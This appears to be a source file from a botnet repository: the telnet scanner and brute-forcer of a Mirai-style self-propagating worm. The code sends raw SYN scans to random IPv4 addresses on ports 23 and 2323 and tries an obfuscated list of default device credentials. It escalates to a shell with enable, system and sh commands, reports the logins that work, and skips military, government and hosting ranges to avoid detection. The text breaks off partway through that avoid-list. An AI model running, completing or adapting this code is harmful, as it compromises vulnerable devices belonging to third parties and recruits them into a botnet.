Path: blob/master/Botnets/Self Reps/Telnet/telnet.c
5038 views
#define _GNU_SOURCE12#ifdef REKAI_TELNET34#ifdef DEBUG5#include <stdio.h>6#endif7#include <unistd.h>8#include <stdlib.h>9#include <sys/socket.h>10#include <arpa/inet.h>11#include <sys/select.h>12#include <sys/types.h>13#include <time.h>14#include <fcntl.h>15#include <signal.h>16#include <errno.h>17#include <string.h>18#include <linux/ip.h>19#include <linux/tcp.h>2021#include "headers/includes.h"22#include "headers/scanner.h"23#include "headers/table.h"24#include "headers/rand.h"25#include "headers/util.h"26#include "headers/checksum.h"27#include "headers/resolv.h"2829int scanner_pid, rsck, rsck_out, auth_table_len = 0;30char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};31struct scanner_auth *auth_table = NULL;32struct scanner_connection *conn_table;33uint16_t auth_table_max_weight = 0;34uint32_t fake_time = 0;3536int recv_strip_null(int sock, void *buf, int len, int flags)37{38int ret = recv(sock, buf, len, flags);3940if (ret > 0)41{42int i = 0;4344for(i = 0; i < ret; i++)45{46if (((char *)buf)[i] == 0x00)47{48((char *)buf)[i] = 'A';49}50}51}5253return ret;54}5556void scanner_init(void)57{58int i;59uint16_t source_port;60struct iphdr *iph;61struct tcphdr *tcph;6263// Let parent continue on main thread64// Let parent continue on main thread65scanner_pid = fork();66if (scanner_pid > 0 || scanner_pid == -1)67return;6869LOCAL_ADDR = util_local_addr();7071rand_init();72fake_time = time(NULL);73conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));74for (i = 0; i < SCANNER_MAX_CONNS; i++)75{76conn_table[i].state = SC_CLOSED;77conn_table[i].fd = -1;78}7980// Set up raw socket scanning and payload81if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)82{83#ifdef DEBUG84printf("[scanner] Failed to initialize raw socket, cannot scan\n");85#endif86exit(0);87}88fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));89i = 1;90if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)91{92#ifdef DEBUG93printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n");94#endif95close(rsck);96exit(0);97}9899do100{101source_port = rand_next() & 0xffff;102}103while (ntohs(source_port) < 1024);104105iph = (struct iphdr *)scanner_rawpkt;106tcph = (struct tcphdr *)(iph + 1);107108// Set up IPv4 header109iph->ihl = 5;110iph->version = 4;111iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));112iph->id = rand_next();113iph->ttl = 64;114iph->protocol = IPPROTO_TCP;115116// Set up TCP header117tcph->dest = htons(23);118tcph->source = source_port;119tcph->doff = 5;120tcph->window = rand_next() & 0xffff;121tcph->syn = TRUE;122123// Set up passwords124125add_auth_entry("\x37\x2A\x2A\x31", "", 5);126add_auth_entry("\x24\x21\x28\x2C\x2B", "\x24\x21\x28\x2C\x2B", 10);127add_auth_entry("\x24\x21\x28\x2C\x2B", "\x74\x77\x76\x71", 9);128add_auth_entry("\x24\x21\x28\x2C\x2B", "", 5);129add_auth_entry("\x24\x21\x28\x2C\x2B", "\x35\x24\x36\x36", 9);130add_auth_entry("\x37\x2A\x2A\x31", "\x3D\x26\x76\x70\x74\x74", 11);131add_auth_entry("\x37\x2A\x2A\x31", "\x33\x2C\x3F\x3D\x33", 11);132add_auth_entry("\x37\x2A\x2A\x31", "\x24\x2B\x31\x36\x29\x34", 11);133add_auth_entry("\x37\x2A\x2A\x31", "\x74\x75\x75\x74\x26\x2D\x2C\x2B", 13);134add_auth_entry("\x37\x2A\x2A\x31", "\x74\x77\x76\x71\x70\x73", 11);135add_auth_entry("\x37\x2A\x2A\x31", "\x74\x77\x76", 8);136add_auth_entry("\x30\x36\x20\x37", "\x30\x36\x20\x37", 8);137add_auth_entry("\x36\x30\x35\x35\x2A\x37\x31", "\x36\x30\x35\x35\x2A\x37\x31", 14);138add_auth_entry("\x74\x77\x76\x71", "\x74\x77\x76\x71", 8);139add_auth_entry("\x37\x2A\x2A\x31", "\x70\x30\x35", 7);140add_auth_entry("\x21\x20\x23\x24\x30\x29\x31", "", 7);141add_auth_entry("\x37\x2A\x2A\x31", "\x21\x20\x23\x24\x30\x29\x31", 11);142add_auth_entry("\x24\x21\x28", "", 3);143add_auth_entry("\x21\x24\x20\x28\x2A\x2B", "", 7);144add_auth_entry("\x27\x2C\x2B", "", 3);145add_auth_entry("\x37\x2A\x2A\x31", "\x24\x2B\x2E\x2A", 8);146add_auth_entry("\x37\x2A\x2A\x31", "\x2D\x30\x2B\x31\x70\x72\x70\x7C", 12);147add_auth_entry("\x37\x2A\x2A\x31", "\x74\x77\x76\x71\x74\x77\x76\x71", 12);148add_auth_entry("\x37\x2A\x2A\x31", "\x31\x31\x2B\x20\x31", 9);149add_auth_entry("\x37\x2A\x2A\x31", "\x3F\x29\x3D\x3D\x6B", 9);150add_auth_entry("\x37\x2A\x2A\x31", "\x37\x2A\x2A\x31", 8);151add_auth_entry("\x37\x2A\x2A\x31", "\x74\x77\x76\x71\x70", 9);152add_auth_entry("\x24\x21\x28\x2C\x2B", "\x24\x34\x30\x24\x37\x2C\x2A", 12);153add_auth_entry("\x27\x24\x27\x3C", "\x27\x24\x27\x3C", 8);154add_auth_entry("\x24\x21\x28\x2C\x2B", "\x31\x37\x30\x20", 9);155add_auth_entry("\x24\x21\x28\x2C\x2B", "\x26\x2D\x24\x2B\x22\x20\x28\x20", 13);156add_auth_entry("\x37\x2A\x2A\x31", "\x26\x2D\x24\x2B\x22\x20\x28\x20", 12);157add_auth_entry("\x37\x2A\x2A\x31", "\x74\x77\x76\x74\x77\x76", 10);158add_auth_entry("\x37\x2A\x2A\x31", "\x09\x16\x2C\x30\x1C\x72\x35\x0A\x28\x1F\x02\x77\x36", 17); // root:LSiuY7pOmZG2s159add_auth_entry("\x24\x21\x28\x2C\x2B", "\x77\x73\x75\x74\x2D\x3D", 11); // admin:2601hx160add_auth_entry("\x37\x2A\x2A\x31", "\x31\x75\x31\x24\x29\x26\x75\x2B\x31\x37\x75\x29\x71\x64\x45", 19); // root:t0talc0ntr0l4!161add_auth_entry("\x21\x20", "", 4);162add_auth_entry("\x37\x2A\x2A\x31", "\x16\x77", 4); // de:S2163add_auth_entry("\x24\x21\x28", "", 3); // adm:164add_auth_entry("\x37\x2A\x2A\x31", "\x2C\x35\x26\x24\x28\x1A\x37\x31\x70\x76\x70\x75", 16);165166#ifdef DEBUG167printf("[scanner] Scanner process initialized. Scanning started.\n");168#endif169170// Main logic loop171while (TRUE)172{173fd_set fdset_rd, fdset_wr;174struct scanner_connection *conn;175struct timeval tim;176int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;177178// Spew out SYN to try and get a response179if (fake_time != last_spew)180{181last_spew = fake_time;182183for (i = 0; i < SCANNER_RAW_PPS; i++)184{185struct sockaddr_in paddr = {0};186struct iphdr *iph = (struct iphdr *)scanner_rawpkt;187struct tcphdr *tcph = (struct tcphdr *)(iph + 1);188189iph->id = rand_next();190iph->saddr = LOCAL_ADDR;191iph->daddr = get_random_ip();192iph->check = 0;193iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));194195if (i % 10 == 0)196{197tcph->dest = htons(2323);198}199else200{201tcph->dest = htons(23);202}203tcph->seq = iph->daddr;204tcph->check = 0;205tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));206207paddr.sin_family = AF_INET;208paddr.sin_addr.s_addr = iph->daddr;209paddr.sin_port = tcph->dest;210211sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));212}213}214215// Read packets from raw socket to get SYN+ACKs216last_avail_conn = 0;217while (TRUE)218{219int n;220char dgram[1514];221struct iphdr *iph = (struct iphdr *)dgram;222struct tcphdr *tcph = (struct tcphdr *)(iph + 1);223struct scanner_connection *conn;224225errno = 0;226n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);227if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)228break;229230if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))231continue;232if (iph->daddr != LOCAL_ADDR)233continue;234if (iph->protocol != IPPROTO_TCP)235continue;236if (tcph->source != htons(23) && tcph->source != htons(2323))237continue;238if (tcph->dest != source_port)239continue;240if (!tcph->syn)241continue;242if (!tcph->ack)243continue;244if (tcph->rst)245continue;246if (tcph->fin)247continue;248if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)249continue;250251conn = NULL;252for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)253{254if (conn_table[n].state == SC_CLOSED)255{256conn = &conn_table[n];257last_avail_conn = n;258break;259}260}261262// If there were no slots, then no point reading any more263if (conn == NULL)264break;265266conn->dst_addr = iph->saddr;267conn->dst_port = tcph->source;268setup_connection(conn);269#ifdef DEBUG270printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);271#endif272}273274// Load file descriptors into fdsets275FD_ZERO(&fdset_rd);276FD_ZERO(&fdset_wr);277for (i = 0; i < SCANNER_MAX_CONNS; i++)278{279int timeout;280281conn = &conn_table[i];282timeout = (conn->state > SC_CONNECTING ? 30 : 5);283284if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)285{286#ifdef DEBUG287printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);288#endif289close(conn->fd);290conn->fd = -1;291292// Retry293if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again294{295if (++(conn->tries) == 10)296{297conn->tries = 0;298conn->state = SC_CLOSED;299}300else301{302setup_connection(conn);303#ifdef DEBUG304printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);305#endif306}307}308else309{310conn->tries = 0;311conn->state = SC_CLOSED;312}313continue;314}315316if (conn->state == SC_CONNECTING)317{318FD_SET(conn->fd, &fdset_wr);319if (conn->fd > mfd_wr)320mfd_wr = conn->fd;321}322else if (conn->state != SC_CLOSED)323{324FD_SET(conn->fd, &fdset_rd);325if (conn->fd > mfd_rd)326mfd_rd = conn->fd;327}328}329330tim.tv_usec = 0;331tim.tv_sec = 1;332nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);333fake_time = time(NULL);334335for (i = 0; i < SCANNER_MAX_CONNS; i++)336{337conn = &conn_table[i];338339if (conn->fd == -1)340continue;341342if (FD_ISSET(conn->fd, &fdset_wr))343{344int err = 0, ret = 0;345socklen_t err_len = sizeof (err);346347ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);348if (err == 0 && ret == 0)349{350conn->state = SC_HANDLE_IACS;351conn->auth = random_auth_entry();352conn->rdbuf_pos = 0;353#ifdef DEBUG354printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);355#endif356}357else358{359#ifdef DEBUG360printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);361#endif362close(conn->fd);363conn->fd = -1;364conn->tries = 0;365conn->state = SC_CLOSED;366continue;367}368}369370if (FD_ISSET(conn->fd, &fdset_rd))371{372while (TRUE)373{374int ret;375376if (conn->state == SC_CLOSED)377break;378379if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)380{381memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);382conn->rdbuf_pos -= SCANNER_HACK_DRAIN;383}384errno = 0;385ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);386if (ret == 0)387{388#ifdef DEBUG389printf("[scanner] FD%d connection gracefully closed\n", conn->fd);390#endif391errno = ECONNRESET;392ret = -1; // Fall through to closing connection below393}394if (ret == -1)395{396if (errno != EAGAIN && errno != EWOULDBLOCK)397{398#ifdef DEBUG399printf("[scanner] FD%d lost connection\n", conn->fd);400#endif401close(conn->fd);402conn->fd = -1;403404// Retry405if (++(conn->tries) >= 10)406{407conn->tries = 0;408conn->state = SC_CLOSED;409}410else411{412setup_connection(conn);413#ifdef DEBUG414printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);415#endif416}417}418break;419}420conn->rdbuf_pos += ret;421conn->last_recv = fake_time;422423while (TRUE)424{425int consumed = 0;426427switch (conn->state)428{429case SC_HANDLE_IACS:430if ((consumed = consume_iacs(conn)) > 0)431{432conn->state = SC_WAITING_USERNAME;433#ifdef DEBUG434printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);435#endif436}437break;438case SC_WAITING_USERNAME:439if ((consumed = consume_user_prompt(conn)) > 0)440{441send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);442send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);443conn->state = SC_WAITING_PASSWORD;444#ifdef DEBUG445printf("[scanner] FD%d received username prompt\n", conn->fd);446#endif447}448break;449case SC_WAITING_PASSWORD:450if ((consumed = consume_pass_prompt(conn)) > 0)451{452#ifdef DEBUG453printf("[scanner] FD%d received password prompt\n", conn->fd);454#endif455456// Send password457send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);458send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);459460conn->state = SC_WAITING_PASSWD_RESP;461}462break;463case SC_WAITING_PASSWD_RESP:464if ((consumed = consume_any_prompt(conn)) > 0)465{466char *tmp_str;467int tmp_len;468469#ifdef DEBUG470printf("[scanner] FD%d received shell prompt\n", conn->fd);471#endif472473// Send enable / system / shell / sh to session to drop into shell if needed474table_unlock_val(TABLE_SCAN_ENABLE);475tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);476send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);477send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);478table_lock_val(TABLE_SCAN_ENABLE);479conn->state = SC_WAITING_ENABLE_RESP;480}481break;482case SC_WAITING_ENABLE_RESP:483if ((consumed = consume_any_prompt(conn)) > 0)484{485char *tmp_str;486int tmp_len;487488#ifdef DEBUG489printf("[scanner] FD%d received sh prompt\n", conn->fd);490#endif491492table_unlock_val(TABLE_SCAN_SYSTEM);493tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);494send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);495send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);496table_lock_val(TABLE_SCAN_SYSTEM);497498conn->state = SC_WAITING_SYSTEM_RESP;499}500break;501case SC_WAITING_SYSTEM_RESP:502if ((consumed = consume_any_prompt(conn)) > 0)503{504char *tmp_str;505int tmp_len;506507#ifdef DEBUG508printf("[scanner] FD%d received sh prompt\n", conn->fd);509#endif510511table_unlock_val(TABLE_SCAN_SHELL);512tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);513send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);514send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);515table_lock_val(TABLE_SCAN_SHELL);516517conn->state = SC_WAITING_SHELL_RESP;518}519break;520case SC_WAITING_SHELL_RESP:521if ((consumed = consume_any_prompt(conn)) > 0)522{523char *tmp_str;524int tmp_len;525526#ifdef DEBUG527printf("[scanner] FD%d received enable prompt\n", conn->fd);528#endif529530table_unlock_val(TABLE_SCAN_SH);531tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);532send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);533send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);534table_lock_val(TABLE_SCAN_SH);535536conn->state = SC_WAITING_SH_RESP;537}538break;539case SC_WAITING_SH_RESP:540if ((consumed = consume_any_prompt(conn)) > 0)541{542char *tmp_str;543int tmp_len;544545#ifdef DEBUG546printf("[scanner] FD%d received sh prompt\n", conn->fd);547#endif548549// Send query string550table_unlock_val(TABLE_SCAN_QUERY);551tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);552send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);553send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);554table_lock_val(TABLE_SCAN_QUERY);555556conn->state = SC_WAITING_TOKEN_RESP;557}558break;559case SC_WAITING_TOKEN_RESP:560consumed = consume_resp_prompt(conn);561if (consumed == -1)562{563#ifdef DEBUG564printf("[scanner] FD%d invalid username/password combo\n", conn->fd);565#endif566close(conn->fd);567conn->fd = -1;568569// Retry570if (++(conn->tries) == 10)571{572conn->tries = 0;573conn->state = SC_CLOSED;574}575else576{577setup_connection(conn);578#ifdef DEBUG579printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);580#endif581}582}583else if (consumed > 0)584{585char *tmp_str;586int tmp_len;587#ifdef DEBUG588printf("[scanner] FD%d Found verified working telnet\n", conn->fd);589#endif590report_working(conn->dst_addr, conn->dst_port, conn->auth);591close(conn->fd);592conn->fd = -1;593conn->state = SC_CLOSED;594}595break;596default:597consumed = 0;598break;599}600601// If no data was consumed, move on602if (consumed == 0)603break;604else605{606if (consumed > conn->rdbuf_pos)607consumed = conn->rdbuf_pos;608609conn->rdbuf_pos -= consumed;610memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);611}612}613}614}615}616}617}618619void scanner_kill(void)620{621kill(scanner_pid, 9);622}623624static void setup_connection(struct scanner_connection *conn)625{626struct sockaddr_in addr = {0};627628if (conn->fd != -1)629close(conn->fd);630if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)631{632#ifdef DEBUG633printf("[scanner] Failed to call socket()\n");634#endif635return;636}637638conn->rdbuf_pos = 0;639util_zero(conn->rdbuf, sizeof(conn->rdbuf));640641fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));642643addr.sin_family = AF_INET;644addr.sin_addr.s_addr = conn->dst_addr;645addr.sin_port = conn->dst_port;646647conn->last_recv = fake_time;648conn->state = SC_CONNECTING;649connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));650}651652653static ipv4_t get_random_ip(void)654{655uint32_t tmp;656uint8_t o1, o2, o3, o4;657658do659{660tmp = rand_next();661662o1 = tmp & 0xff;663o2 = (tmp >> 8) & 0xff;664o3 = (tmp >> 16) & 0xff;665o4 = (tmp >> 24) & 0xff;666}667while (o1 == 127 || //Loopback668(o1 == 0) || //Invalid address space669(o1 == 3) || //General Electric Company670(o1 == 15 || o1 == 16) || //Hewlett-Packard Company671(o1 == 56) || //US Postal Service672(o1 == 10) || //Internal network673(o1 == 25) || //Some more674(o1 == 49) || //Some more675(o1 == 50) || //Some more676(o1 == 137) || //Some more677(o1 == 6) || //Department of Defense678(o1 == 7) || //Department of Defense679(o1 == 11) || //Department of Defense680(o1 == 21) || //Department of Defense681(o1 == 22) || //Department of Defense682(o1 == 26) || //Department of Defense683(o1 == 28) || //Department of Defense684(o1 == 29) || //Department of Defense685(o1 == 30) || //Department of Defense686(o1 == 33) || //Department of Defense687(o1 == 55) || //Department of Defense688(o1 == 214) || //Department of Defense689(o1 == 215) || //Department of Defense690(o1 == 192 && o2 == 168) || //Internal network691(o1 == 172 && o2 >= 16 && o2 < 32) || //Internal network692(o1 == 100 && o2 >= 64 && o2 < 127) || //IANA NAT reserved693(o1 == 169 && o2 > 254) || //IANA NAT reserved694(o1 == 198 && o2 >= 18 && o2 < 20) || //IANA Special use695(o1 == 146 && o2 == 17) || //Some more696(o1 == 146 && o2 == 80) || //Some more697(o1 == 146 && o2 == 98) || //Some more698(o1 == 146 && o2 == 154) || //Some more699(o1 == 147 && o2 == 159) || //Some more700(o1 == 148 && o2 == 114) || //Some more701(o1 == 150 && o2 == 125) || //Some more702(o1 == 150 && o2 == 133) || //Some more703(o1 == 150 && o2 == 144) || //Some more704(o1 == 150 && o2 == 149) || //Some more705(o1 == 150 && o2 == 157) || //Some more706(o1 == 150 && o2 == 184) || //Some more707(o1 == 150 && o2 == 190) || //Some more708(o1 == 150 && o2 == 196) || //Some more709(o1 == 152 && o2 == 82) || //Some more710(o1 == 152 && o2 == 229) || //Some more711(o1 == 157 && o2 == 202) || //Some more712(o1 == 157 && o2 == 217) || //Some more713(o1 == 161 && o2 == 124) || //Some more714(o1 == 162 && o2 == 32) || //Some more715(o1 == 155 && o2 == 96) || //Some more716(o1 == 155 && o2 == 149) || //Some more717(o1 == 155 && o2 == 155) || //Some more718(o1 == 155 && o2 == 178) || //Some more719(o1 == 164 && o2 == 158) || //Some more720(o1 == 156 && o2 == 9) || //Some more721(o1 == 167 && o2 == 44) || //Some more722(o1 == 168 && o2 == 68) || //Some more723(o1 == 168 && o2 == 85) || //Some more724(o1 == 168 && o2 == 102) || //Some more725(o1 == 203 && o2 == 59) || //Some more726(o1 == 204 && o2 == 34) || //Some more727(o1 == 207 && o2 == 30) || //Some more728(o1 == 117 && o2 == 55) || //Some more729(o1 == 117 && o2 == 56) || //Some more730(o1 == 80 && o2 == 235) || //Some more731(o1 == 207 && o2 == 120) || //Some more732(o1 == 209 && o2 == 35) || //Some more733(o1 == 64 && o2 == 70) || //Some more734(o1 == 64 && o2 >= 69 && o2 < 227) || //Some more735(o1 == 128 && o2 >= 35 && o2 < 237) || //Some more736(o1 == 129 && o2 >= 22 && o2 < 255) || //Some more737(o1 == 130 && o2 >= 40 && o2 < 168) || //Some more738(o1 == 131 && o2 >= 3 && o2 < 251) || //Some more739(o1 == 132 && o2 >= 3 && o2 < 251) || //Some more740(o1 == 134 && o2 >= 5 && o2 < 235) || //Some more741(o1 == 136 && o2 >= 177 && o2 < 223) || //Some more742(o1 == 138 && o2 >= 13 && o2 < 194) || //Some more743(o1 == 139 && o2 >= 31 && o2 < 143) || //Some more744(o1 == 140 && o2 >= 1 && o2 < 203) || //Some more745(o1 == 143 && o2 >= 45 && o2 < 233) || //Some more746(o1 == 144 && o2 >= 99 && o2 < 253) || //Some more747(o1 == 146 && o2 >= 165 && o2 < 166) || //Some more748(o1 == 147 && o2 >= 35 && o2 < 43) || //Some more749(o1 == 147 && o2 >= 103 && o2 < 105) || //Some more750(o1 == 147 && o2 >= 168 && o2 < 170) || //Some more751(o1 == 147 && o2 >= 198 && o2 < 200) || //Some more752(o1 == 147 && o2 >= 238 && o2 < 255) || //Some more753(o1 == 150 && o2 >= 113 && o2 < 115) || //Some more754(o1 == 152 && o2 >= 151 && o2 < 155) || //Some more755(o1 == 153 && o2 >= 21 && o2 < 32) || //Some more756(o1 == 155 && o2 >= 5 && o2 < 10) || //Some more757(o1 == 155 && o2 >= 74 && o2 < 89) || //Some more758(o1 == 155 && o2 >= 213 && o2 < 222) || //Some more759(o1 == 157 && o2 >= 150 && o2 < 154) || //Some more760(o1 == 158 && o2 >= 1 && o2 < 21) || //Some more761(o1 == 158 && o2 >= 235 && o2 < 247) || //Some more762(o1 == 159 && o2 >= 120 && o2 < 121) || //Some more763(o1 == 160 && o2 >= 132 && o2 < 151) || //Some more764(o1 == 64 && o2 >= 224 && o2 < 227) || //Some more765(o1 == 162 && o2 >= 45 && o2 < 47) || //CIA766(o1 == 163 && o2 >= 205 && o2 < 207) || //NASA Kennedy Space Center767(o1 == 164 && o2 >= 45 && o2 < 50) || //NASA Kennedy Space Center768(o1 == 164 && o2 >= 217 && o2 < 233) || //NASA Kennedy Space Center769(o1 == 169 && o2 >= 252 && o2 < 254) || //U.S. Department of State770(o1 == 199 && o2 >= 121 && o2 < 254) || //Naval Air Systems Command, VA771(o1 == 205 && o2 >= 1 && o2 < 118) || //Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR772(o1 == 207 && o2 >= 60 && o2 < 62) || //FBI controlled Linux servers & IPs/IP-Ranges773(o1 == 104 && o2 >= 16 && o2 < 31) || //Cloudflare774(o1 == 188 && o2 == 166) || //Digital Ocean775(o1 == 188 && o2 == 226) || //Digital Ocean776(o1 == 159 && o2 == 203) || //Digital Ocean777(o1 == 162 && o2 == 243) || //Digital Ocean778(o1 == 45 && o2 == 55) || //Digital Ocean779(o1 == 178 && o2 == 62) || //Digital Ocean780(o1 == 104 && o2 == 131) || //Digital Ocean781(o1 == 104 && o2 == 236) || //Digital Ocean782(o1 == 107 && o2 == 170) || //Digital Ocean783(o1 == 138 && o2 == 197) || //Digital Ocean784(o1 == 138 && o2 == 68) || //Digital Ocean785(o1 == 139 && o2 == 59) || //Digital Ocean786(o1 == 146 && o2 == 185 && o3 >= 128 && o3 < 191) || //Digital Ocean787(o1 == 163 && o2 == 47 && o3 >= 10 && o3 < 11) || //Digital Ocean788(o1 == 174 && o2 == 138 && o3 >= 1 && o3 < 127) || //Digital Ocean789(o1 == 192 && o2 == 241 && o3 >= 128 && o3 < 255) || //Digital Ocean790(o1 == 198 && o2 == 199 && o3 >= 64 && o3 < 127) || //Digital Ocean791(o1 == 198 && o2 == 211 && o3 >= 96 && o3 < 127) || //Digital Ocean792(o1 == 207 && o2 == 154 && o3 >= 192 && o3 < 255) || //Digital Ocean793(o1 == 37 && o2 == 139 && o3 >= 1 && o3 < 31) || //Digital Ocean794(o1 == 67 && o2 == 207 && o3 >= 64 && o3 < 95) || //Digital Ocean795(o1 == 67 && o2 == 205 && o3 >= 128 && o3 < 191) || //Digital Ocean796(o1 == 80 && o2 == 240 && o3 >= 128 && o3 < 143) || //Digital Ocean797(o1 == 82 && o2 == 196 && o3 >= 1 && o3 < 15) || //Digital Ocean798(o1 == 95 && o2 == 85 && o3 >= 8 && o3 < 63) || //Digital Ocean799(o1 == 64 && o2 == 237 && o3 >= 32 && o3 < 43) || //Choopa & Vultr800(o1 == 185 && o2 == 92 && o3 >= 220 && o3 < 223) || //Choopa & Vultr801(o1 == 104 && o2 == 238 && o3 >= 128 && o3 < 191) || //Choopa & Vultr802(o1 == 209 && o2 == 222 && o3 >= 1 && o3 < 31) || //Choopa & Vultr803(o1 == 208 && o2 == 167 && o3 >= 232 && o3 < 252) || //Choopa & Vultr804(o1 == 66 && o2 == 55 && o3 >= 128 && o3 < 159) || //Choopa & Vultr805(o1 == 45 && o2 == 63 && o3 >= 1 && o3 < 127) || //Choopa & Vultr806(o1 == 216 && o2 == 237 && o3 >= 128 && o3 < 159) || //Choopa & Vultr807(o1 == 108 && o2 == 61) || //Choopa & Vultr808(o1 == 45 && o2 == 76) || //Choopa & Vultr809(o1 == 185 && o2 == 11 && o3 >= 144 && o3 < 148) || //Blazingfast & Nforce810(o1 == 185 && o2 == 56 && o3 >= 21 && o3 < 23) || //Blazingfast & Nforce811(o1 == 185 && o2 == 61 && o3 >= 136 && o3 < 139) || //Blazingfast & Nforce812(o1 == 185 && o2 == 62 && o3 >= 187 && o3 < 191) || //Blazingfast & Nforce813(o1 == 66 && o2 == 150 && o3 >= 120 && o3 < 215) || //Blazingfast & Nforce814(o1 == 66 && o2 == 151 && o3 >= 137 && o3 < 139) || //Blazingfast & Nforce815(o1 == 64 && o2 == 94 && o3 >= 237 && o3 < 255) || //Blazingfast & Nforce816(o1 == 63 && o2 == 251 && o3 >= 19 && o3 < 21) || //Blazingfast & Nforce817(o1 == 70 && o2 == 42 && o3 >= 73 && o3 < 75) || //Blazingfast & Nforce818(o1 == 74 && o2 == 91 && o3 >= 113 && o3 < 115) || //Blazingfast & Nforce819(o1 == 74 && o2 == 201 && o3 >= 56 && o3 < 58) || //Blazingfast & Nforce820(o1 == 188 && o2 == 209 && o3 >= 48 && o3 < 53) || //Blazingfast & Nforce821(o1 == 188 && o2 == 165) || //OVH822(o1 == 149 && o2 == 202) || //OVH823(o1 == 151 && o2 == 80) || //OVH824(o1 == 164 && o2 == 132) || //OVH825(o1 == 176 && o2 == 31) || //OVH826(o1 == 167 && o2 == 114) || //OVH827(o1 == 178 && o2 == 32) || //OVH828(o1 == 178 && o2 == 33) || //OVH829(o1 == 37 && o2 == 59) || //OVH830(o1 == 37 && o2 == 187) || //OVH831(o1 == 46 && o2 == 105) || //OVH832(o1 == 51 && o2 == 254) || //OVH833(o1 == 51 && o2 == 255) || //OVH834(o1 == 5 && o2 == 135) || //OVH835(o1 == 5 && o2 == 196) || //OVH836(o1 == 5 && o2 == 39) || //OVH837(o1 == 91 && o2 == 134) || //OVH838(o1 == 104 && o2 == 200 && o3 >= 128 && o3 < 159) || //Total Server Solutions839(o1 == 107 && o2 == 152 && o3 >= 96 && o3 < 111) || //Total Server Solutions840(o1 == 107 && o2 == 181 && o3 >= 160 && o3 < 189) || //Total Server Solutions841(o1 == 172 && o2 == 98 && o3 >= 64 && o3 < 95) || //Total Server Solutions842(o1 == 184 && o2 == 170 && o3 >= 240 && o3 < 255) || //Total Server Solutions843(o1 == 192 && o2 == 111 && o3 >= 128 && o3 < 143) || //Total Server Solutions844(o1 == 192 && o2 == 252 && o3 >= 208 && o3 < 223) || //Total Server Solutions845(o1 == 192 && o2 == 40 && o3 >= 56 && o3 < 59) || //Total Server Solutions846(o1 == 198 && o2 == 8 && o3 >= 81 && o3 < 95) || //Total Server Solutions847(o1 == 199 && o2 == 116 && o3 >= 112 && o3 < 119) || //Total Server Solutions848(o1 == 199 && o2 == 229 && o3 >= 248 && o3 < 255) || //Total Server Solutions849(o1 == 199 && o2 == 36 && o3 >= 220 && o3 < 223) || //Total Server Solutions850(o1 == 199 && o2 == 58 && o3 >= 184 && o3 < 187) || //Total Server Solutions851(o1 == 206 && o2 == 220 && o3 >= 172 && o3 < 175) || //Total Server Solutions852(o1 == 208 && o2 == 78 